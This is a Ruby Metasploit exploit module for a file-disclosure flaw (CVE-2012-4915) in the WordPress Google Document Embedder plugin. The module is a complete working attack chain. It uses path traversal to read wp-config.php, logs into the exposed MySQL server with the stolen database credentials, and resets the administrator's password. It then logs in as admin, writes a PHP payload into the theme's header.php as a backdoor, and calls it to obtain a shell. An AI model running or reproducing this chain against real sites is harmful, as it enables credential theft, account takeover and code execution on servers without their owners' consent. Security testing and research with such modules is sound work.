##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rbmysql'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
      'Description'    => %q{
          This module exploits an arbitrary file disclosure flaw in the WordPress
        blogging software plugin known as Google Document Embedder. The vulnerability allows for
        database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
        plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
        server is exposed on an accessible IP and WordPress has filesystem write access.

        Please note: The admin password may get changed if the exploit does not run to the end.
      },
      'Author'         =>
        [
          'Charlie Eriksen',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-4915'],
          ['OSVDB', '88891'],
          ['URL', 'http://web.archive.org/web/20130119141940/http://secunia.com/advisories/50832/'],
          ['WPVDB', '6073']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '2013-01-03',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
        OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
        OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
        OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
      ])
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'
    plugins_uri = String.new(uri)
    plugins_uri << datastore['PLUGINSPATH']
    plugins_uri << '/' if plugins_uri[-1,1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{plugins_uri}google-document-embedder/libs/pdf.php",
    })

    if res and res.code == 200
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'
    plugins_uri = String.new(uri)
    plugins_uri << datastore['PLUGINSPATH']
    plugins_uri << '/' if plugins_uri[-1,1] != '/'
    admin_uri = String.new(uri)
    admin_uri << datastore['ADMINPATH']
    admin_uri << '/' if plugins_uri[-1,1] != '/'
    themes_uri = String.new(uri)
    themes_uri << datastore['THEMESPATH']
    themes_uri << '/' if plugins_uri[-1,1] != '/'

    print_status('Fetching wp-config.php')
    res = send_request_cgi({
      'method'     => 'GET',
      'uri'        => "#{plugins_uri}google-document-embedder/libs/pdf.php",
      'vars_get'   =>
        {
          'fn'   => "#{rand_text_alphanumeric(4)}.pdf",
          'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
        }
    })

    if res and res.body =~ /allow_url_fopen/
      fail_with(Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
    elsif res.code != 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end

    config = parse_wp_config(res.body)
    if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
      fail_with(Failure::UnexpectedReply, "The config file did not parse properly")
    end
    begin
      @mysql_handle = ::RbMysql.connect(config['DB_HOST'],
                                        config['DB_USER'],
                                        config['DB_PASSWORD'],
                                        config['DB_NAME'],
                                        config['DB_PORT'])
    rescue Errno::ECONNREFUSED,
      RbMysql::ClientError,
      Errno::ETIMEDOUT,
      RbMysql::AccessDeniedError,
      RbMysql::HostNotPrivileged
      fail_with(Failure::NotVulnerable, 'Unable to connect to the MySQL server')
    end
    res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
                  INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")

    if res.nil? or res.size <= 0
      fail_with(Failure::UnexpectedReply, 'No admin was account found')
    end

    user = res.first

    new_password = rand_text_alphanumeric(8)
    @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
    print_warning("Admin password changed to: #{new_password}")

    admin_cookie = get_wp_cookie(uri, user[0], new_password)

    theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)

    print_warning("Editing theme #{theme}")
    set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)

    print_status("Calling backdoor")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{themes_uri}#{theme}/header.php",
    })

    if res and res.code != 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end

    set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)

    @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")

    print_status("Shell should have been acquired. Disabled backdoor")
  end

  def parse_wp_config(body)
    p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
    print_good("wp-config.php saved in: #{p}")
    print_status("Parsing config file")
    values = {}

    body.each_line do |line|
      if line =~ /define/
        key_pair = line.scan(/('|")([^'"]*)('|")/)
        if key_pair.length == 2
          values[key_pair[0][1]] = key_pair[1][1]
        end
      elsif line =~ /table_prefix/
        table_prefix = line.scan(/('|")([^'"]*)('|")/)
        values['DB_PREFIX'] = table_prefix[0][1]
      end
    end
    #Extract the port from DB_HOST and normalize DB_HOST
    values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306

    if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
      print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
      values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
    end

    return values
  end

  def get_wp_cookie(uri, username, password)
    res = send_request_cgi({
      'method'     => 'POST',
      'uri'        => "#{uri}wp-login.php",
      'cookie'     => 'wordpress_test_cookie=WP+Cookie+check',
      'vars_post'  =>
        {
          'log'        => username,
          'pwd'        => password,
          'wp-submit'  => 'Log+In',
          'testcookie' => '1',
        },
    })

    if res and res.code == 200
      fail_with(Failure::UnexpectedReply, 'Admin login failed')
    elsif res and res.code != 302
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end

    admin_cookie = res.get_cookies

    if admin_cookie.empty?
      fail_with(Failure::UnexpectedReply, 'The resulting cookie was empty')
    end

    return admin_cookie
  end

  def get_wp_theme(admin_uri, admin_cookie)
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{admin_uri}theme-editor.php?file=header.php",
      'cookie' => admin_cookie,
    })

    if res and res.code != 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
      fail_with(Failure::NotVulnerable, 'Wordpress does not have write access')
    end

    nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
    old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
    theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s

    return [theme, nonce, old_content]
  end

  def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => "#{admin_uri}theme-editor.php?",
      'cookie'    => admin_cookie,
      'vars_post' =>
        {
          '_wpnonce'   => nonce,
          'theme'      => theme,
          'newcontent' => new_content,
          'action'     => 'update',
          'file'       => 'header.php'
        },
    })

    if res and res.code != 302
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end
  end
end

